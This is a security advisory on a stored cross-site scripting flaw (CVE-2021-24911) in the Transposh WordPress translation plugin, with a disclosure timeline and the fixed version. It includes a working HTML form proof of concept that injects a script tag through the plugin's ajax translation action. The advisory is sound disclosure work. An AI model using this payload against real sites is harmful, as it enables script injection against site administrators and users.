ADVISORY INFORMATION

CREDITS

This vulnerability was discovered and researched by Julien Ahrens from RCE Security.

VERSIONS AFFECTED

Transposh WordPress Translation 1.0.7 and below

INTRODUCTION

Transposh translation filter for WordPress offers a unique approach to blog translation. It allows your blog to combine automatic translation with human translation aided by your users with an easy to use in-context interface.

(from the vendor’s homepage)

VULNERABILITY DETAILS

The plugin’s ajax action “tp_translation” which is available to authenticated or unauthenticated users (see CVE-2022-2461) allows to submit new translations.

Translations submitted this way are shown on the Transposh administrative interface on the pages “tp_main” and “tp_editor”. However, since the plugin does not properly validate and sanitize the submitted translation, arbitrary Javascript code can be permanently injected and executed directly within the backend across all users visiting the page with the roles of at least “Subscriber” and up to “Administrator”.

This offers a wide range of possible attacks, such as redirecting the user to a malicious page, spoofing content on the page, or attacking the browser and its plugins.

PROOF OF CONCEPT

The following PoC adds a new translation:

<html>
  <body>
    <form action="http://[host]/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="tp&#95;translation" />
      <input type="hidden" name="ln0" value="en" />
      <input type="hidden" name="sr0" value="0" />
      <input type="hidden" name="items" value="1" />
      <input type="hidden" name="tk0" value="xss&lt;script&gt;alert&#40;1337&#41;&lt;&#47;script&gt;" />
      <input type="hidden" name="tr0" value="test" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

SOLUTION

Update the plugin to version 1.0.8.1

REPORT TIMELINE

  • 2021-08-19: Discovery of the vulnerability
  • 2021-08-20: Contacted the vendor via their contact form
  • 2021-08-20: Vendor response
  • 2021-08-20: Sent all the PoC exploits
  • 2021-08-20: Vendor acknowledges the issues
  • 2021-09-14: Requested status update from vendor
  • 2021-10-07: No response from vendor, requested status update again
  • 2021-10-25: CVE requested from WPScan (CNA)
  • 2021-10-27: WPScan assigns CVE-2021-24911
  • 2022-02-22: Vendor releases 1.0.8, which fixes this vulnerability
  • 2022-07-22: Public disclosure

REFERENCES